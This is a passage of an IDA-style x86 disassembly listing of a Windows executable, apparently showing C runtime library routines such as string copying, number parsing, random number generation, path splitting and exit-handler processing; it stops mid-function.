sub_41B5F0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B673
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B614
shr ecx, 2
jnz short loc_41B681
jmp short loc_41B635
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B5F0+1Bj
; sub_41B5F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B642
test al, al
jz short loc_41B64A
test esi, 3
jnz short loc_41B614
mov ebx, ecx
shr ecx, 2
jnz short loc_41B681
loc_41B630: ; CODE XREF: sub_41B5F0+8Fj
and ebx, 3
jz short loc_41B642
loc_41B635: ; CODE XREF: sub_41B5F0+22j
; sub_41B5F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B66E
dec ebx
jnz short loc_41B635
loc_41B642: ; CODE XREF: sub_41B5F0+2Bj
; sub_41B5F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj
test edi, 3
jz short loc_41B664
loc_41B652: ; CODE XREF: sub_41B5F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B6E6
test edi, 3
jnz short loc_41B652
loc_41B664: ; CODE XREF: sub_41B5F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B6D7
loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj
; sub_41B5F0+F4j
mov [edi], al
inc edi
loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj
dec ebx
jnz short loc_41B66B
pop ebx
pop esi
loc_41B673: ; CODE XREF: sub_41B5F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B679: ; CODE XREF: sub_41B5F0+A9j
; sub_41B5F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B630
loc_41B681: ; CODE XREF: sub_41B5F0+20j
; sub_41B5F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B679
test dl, dl
jz short loc_41B6CB
test dh, dh
jz short loc_41B6C1
test edx, 0FF0000h
jz short loc_41B6B7
test edx, 0FF000000h
jnz short loc_41B679
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj
xor edx, edx
mov [edi], edx
loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j
; sub_41B5F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B6E1
loc_41B6D7: ; CODE XREF: sub_41B5F0+79j
xor eax, eax
loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B6D9
loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j
and ebx, 3
jnz short loc_41B66B
loc_41B6E6: ; CODE XREF: sub_41B5F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B5F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B6EE proc near ; CODE XREF: sub_41B779+4p
; sub_4247EC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B6F6: ; CODE XREF: sub_41B6EE+34j
cmp dword_43C504, 1
jle short loc_41B70E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B71D
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B6EE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 8
loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej
test eax, eax
jz short loc_41B724
inc edi
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6EE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B734
cmp esi, 2Bh
jnz short loc_41B738
loc_41B734: ; CODE XREF: sub_41B6EE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B738: ; CODE XREF: sub_41B6EE+44j
xor ebx, ebx
loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj
cmp dword_43C504, 1
jle short loc_41B74F
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B75A
; ---------------------------------------------------------------------------
loc_41B74F: ; CODE XREF: sub_41B6EE+53j
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj
test eax, eax
jz short loc_41B76B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B73A
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B774
neg eax
loc_41B774: ; CODE XREF: sub_41B6EE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B6EE endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+733p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B6EE
pop ecx
retn
sub_41B779 endp
; ---------------------------------------------------------------------------
mov eax, off_43A29C
test eax, eax
jz short loc_41B78F
call eax ; sub_41C748
loc_41B78F: ; CODE XREF: ___:0041B78Bj
push offset dword_42902C
push offset dword_429018
call sub_41B86C
push offset dword_429014
push offset dword_429000
call sub_41B86C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41B7D3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp
; sub_42255C+2276p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B7D3
add esp, 0Ch
retn
sub_41B7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p
; sub_41B7C2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DB2C0, edi
jnz short loc_41B7F0
push [esp+4+arg_0]
nop
call near ptr 26F0656h
push eax
call near ptr 26E0B3Dh
nop
loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DB2BC, edi
mov byte_4DB2B8, bl
jnz short loc_41B844
mov eax, dword_4DC91C
test eax, eax
jz short loc_41B833
mov ecx, dword_4DC918
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41B832
loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41B827
call eax
loc_41B827: ; CODE XREF: sub_41B7D3+50j
sub esi, 4
cmp esi, dword_4DC91C
jnb short loc_41B81F
loc_41B832: ; CODE XREF: sub_41B7D3+4Aj
pop esi
loc_41B833: ; CODE XREF: sub_41B7D3+3Cj
push offset dword_429038
push offset dword_429030
call sub_41B86C
pop ecx
pop ecx
loc_41B844: ; CODE XREF: sub_41B7D3+33j
push offset dword_429044
push offset dword_42903C
call sub_41B86C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41B86A
push [esp+4+arg_0]
mov dword_4DB2C0, edi
nop
call near ptr 77E75CB5h
loc_41B86A: ; CODE XREF: sub_41B7D3+85j
pop edi
retn
sub_41B7D3 endp
; =============== S U B R O U T I N E =======================================
sub_41B86C proc near ; CODE XREF: ___:0041B799p
; ___:0041B7A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41B871: ; CODE XREF: sub_41B86C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41B884
mov eax, [esi]
test eax, eax
jz short loc_41B87F
call eax
loc_41B87F: ; CODE XREF: sub_41B86C+Fj
add esi, 4
jmp short loc_41B871
; ---------------------------------------------------------------------------
loc_41B884: ; CODE XREF: sub_41B86C+9j
pop esi
retn
sub_41B86C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B886 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B8C6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8C6: ; CODE XREF: sub_41B886+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B8D3: ; CODE XREF: sub_41B886+3Ej
mov eax, esi
pop esi
leave
retn
sub_41B886 endp
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+31A2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A280, eax
retn
sub_41B8D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43A280
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A280, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41B8E2 endp
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B97A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B967
loc_41B918: ; CODE XREF: sub_41B900+52j
; sub_41B900+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B93A
test al, al
jz short loc_41B934
loc_41B929: ; CODE XREF: sub_41B900+32j
mov al, [esi]
inc esi
loc_41B92C: ; CODE XREF: sub_41B900+3Fj
cmp al, dl
jz short loc_41B93A
test al, al
jnz short loc_41B929
loc_41B934: ; CODE XREF: sub_41B900+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B93A: ; CODE XREF: sub_41B900+23j
; sub_41B900+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B92C
lea edi, [esi-1]
loc_41B944: ; CODE XREF: sub_41B900+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B973
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B918
mov al, [ecx+3]
test al, al
jz short loc_41B973
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B944
jmp short loc_41B918
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B900+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41BFB6
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B900+49j
; sub_41B900+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B900+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B980 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C72p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B9BF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B9CC
; ---------------------------------------------------------------------------
loc_41B9BF: ; CODE XREF: sub_41B980+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B9CC: ; CODE XREF: sub_41B980+3Dj
mov eax, esi
pop esi
leave
retn
sub_41B980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+21D1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41AFE0
cmp eax, 1
pop ecx
jb short loc_41BA0C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BA0C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BA08
push 2
push ebx
push esi
call sub_420289
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BA08: ; CODE XREF: sub_41B9D1+25j
inc ebx
inc ebx
jmp short loc_41BA16
; ---------------------------------------------------------------------------
loc_41BA0C: ; CODE XREF: sub_41B9D1+18j
; sub_41B9D1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BA16
and byte ptr [eax], 0
loc_41BA16: ; CODE XREF: sub_41B9D1+39j
; sub_41B9D1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BA8E
loc_41BA29: ; CODE XREF: sub_41B9D1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DC7E1[edx], 4
jz short loc_41BA3A
inc eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA3A: ; CODE XREF: sub_41B9D1+64j
cmp cl, 2Fh
jz short loc_41BA4E
cmp cl, 5Ch
jz short loc_41BA4E
cmp cl, 2Eh
jnz short loc_41BA54
mov [ebp+var_4], eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj
; sub_41B9D1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BA54: ; CODE XREF: sub_41B9D1+67j
; sub_41B9D1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BA29
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BA8E
cmp [ebp+arg_8], 0
jz short loc_41BA89
sub edi, ebx
cmp edi, esi
jb short loc_41BA72
mov edi, esi
loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420289
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BA89: ; CODE XREF: sub_41B9D1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BA98
; ---------------------------------------------------------------------------
loc_41BA8E: ; CODE XREF: sub_41B9D1+56j
; sub_41B9D1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BA98
and byte ptr [ecx], 0
loc_41BA98: ; CODE XREF: sub_41B9D1+BBj
; sub_41B9D1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BAEB
cmp edi, ebx
jb short loc_41BAEB
cmp [ebp+arg_C], 0
jz short loc_41BAC8
sub edi, ebx
cmp edi, esi
jb short loc_41BAB1
mov edi, esi
loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420289
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BB13
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BAD8
mov esi, eax
loc_41BAD8: ; CODE XREF: sub_41B9D1+103j
push esi
push [ebp+var_4]
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BB13
; ---------------------------------------------------------------------------
loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj
; sub_41B9D1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BB09
sub eax, ebx
cmp eax, esi
jnb short loc_41BAFA
mov esi, eax
loc_41BAFA: ; CODE XREF: sub_41B9D1+125j
push esi
push ebx
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BB13
and byte ptr [eax], 0
loc_41BB13: ; CODE XREF: sub_41B9D1+FCj
; sub_41B9D1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BB20 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BB40
loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BB2C
loc_41BB40: ; CODE XREF: sub_41BB20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep
; sub_401ACD+75ADp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BB63
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB4F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BB93
mov esi, [ebp+arg_8]
loc_41BB6C: ; CODE XREF: sub_41BB4F+42j
dec dword ptr [esi+4]
js short loc_41BB7B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BB82
; ---------------------------------------------------------------------------
loc_41BB7B: ; CODE XREF: sub_41BB4F+20j
push esi
call sub_41F043
pop ecx
loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BB9D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BB93
dec [ebp+arg_4]
jnz short loc_41BB6C
loc_41BB93: ; CODE XREF: sub_41BB4F+18j
; sub_41BB4F+3Dj ...
and byte ptr [edi], 0
loc_41BB96: ; CODE XREF: sub_41BB4F+55j
mov eax, ebx
pop esi
loc_41BB99: ; CODE XREF: sub_41BB4F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BB9D: ; CODE XREF: sub_41BB4F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BB93
xor ebx, ebx
jmp short loc_41BB96
sub_41BB4F endp
; =============== S U B R O U T I N E =======================================
sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep
; sub_41BDC5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BBD5: ; CODE XREF: sub_41BBBD+46j
cmp dword_43C504, 1
jle short loc_41BBED
movzx eax, bl
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BBFC
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej
test eax, eax
jz short loc_41BC05
mov bl, [esi]
inc esi
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BC05: ; CODE XREF: sub_41BBBD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BC13
or [ebp+arg_C], 2
jmp short loc_41BC18
; ---------------------------------------------------------------------------
loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej
cmp bl, 2Bh
jnz short loc_41BC1E
loc_41BC18: ; CODE XREF: sub_41BBBD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BC1E: ; CODE XREF: sub_41BBBD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BDB5
cmp eax, 1
jz loc_41BDB5
cmp eax, 24h
jg loc_41BDB5
push 10h
test eax, eax
pop ecx
jnz short loc_41BC66
cmp bl, 30h
jz short loc_41BC50
mov [ebp+arg_8], 0Ah
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: sub_41BBBD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BC63
cmp al, 58h
jz short loc_41BC63
mov [ebp+arg_8], 8
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC63: ; CODE XREF: sub_41BBBD+97j
; sub_41BBBD+9Bj
mov [ebp+arg_8], ecx
loc_41BC66: ; CODE XREF: sub_41BBBD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BC82
cmp bl, 30h
jnz short loc_41BC82
mov al, [esi]
cmp al, 78h
jz short loc_41BC7A
cmp al, 58h
jnz short loc_41BC82
loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BC82: ; CODE XREF: sub_41BBBD+91j
; sub_41BBBD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj
cmp dword_43C504, 1
movzx esi, bl
jle short loc_41BCAA
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCB5
; ---------------------------------------------------------------------------
loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj
test eax, eax
jz short loc_41BCC1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BCF3
; ---------------------------------------------------------------------------
loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj
cmp dword_43C504, 1
jle short loc_41BCD5
push edi
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCE0
; ---------------------------------------------------------------------------
loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj
mov eax, off_43C2F8
mov ax, [eax+esi*2]
and eax, edi
loc_41BCE0: ; CODE XREF: sub_41BBBD+116j
test eax, eax
jz short loc_41BD2E
movsx eax, bl
push eax
call sub_420313
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BCF3: ; CODE XREF: sub_41BBBD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BD2E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BD18
jnz short loc_41BD12
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BD18
loc_41BD12: ; CODE XREF: sub_41BBBD+147j
or [ebp+arg_C], 4
jmp short loc_41BD21
; ---------------------------------------------------------------------------
loc_41BD18: ; CODE XREF: sub_41BBBD+145j
; sub_41BBBD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BD21: ; CODE XREF: sub_41BBBD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BC92
; ---------------------------------------------------------------------------
loc_41BD2E: ; CODE XREF: sub_41BBBD+125j
; sub_41BBBD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BD4C
test edx, edx
jz short loc_41BD46
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BD46: ; CODE XREF: sub_41BBBD+181j
and [ebp+var_8], 0
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BD72
test cl, 1
jnz short loc_41BD99
and ecx, 2
jz short loc_41BD69
cmp [ebp+var_8], 80000000h
ja short loc_41BD72
loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j
test ecx, ecx
jnz short loc_41BD99
cmp [ebp+var_8], eax
jbe short loc_41BD99
loc_41BD72: ; CODE XREF: sub_41BBBD+197j
; sub_41BBBD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DB278, 22h
jz short loc_41BD88
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj
; sub_41BBBD+19Cj ...
test edx, edx
jz short loc_41BDA2
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BDB0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BDC0
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BBBD+66j
; sub_41BBBD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BDBE
mov [eax], edi
loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj
xor eax, eax
loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BBBD endp
; =============== S U B R O U T I N E =======================================
sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp
; sub_401ACD+6A0Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BDC5 endp
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 26601FEh
nop
test eax, eax
jnz short loc_41BDF2
nop
call near ptr 2660A00h
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call sub_4203DF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p
; ___:00411CA1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420446
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
